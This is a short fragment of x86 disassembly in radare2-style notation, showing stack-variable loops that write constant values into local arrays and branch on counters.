cmp dword [ebp - 0x194], 2
jge 0x47b1f5
push dword [ebp - 0x194]
lea ecx, [ebp - 0x20cc]
call fcn.00433e3f
mov dword [eax], 0xb143
jmp 0x47b1c6
mov dword [ebp - 0x194], 0
jmp 0x47b20e
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 4
jge 0x47b22a
mov eax, dword [ebp - 0x194]
mov dword [ebp + eax*4 - 0x39ac], 0xfc80ae7b
jmp 0x47b201
mov eax, dword [ebp - 0x348]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x348], 0
jmp 0x47b24f
cmp dword [ebp - 0x348], 3
je 0x47b56d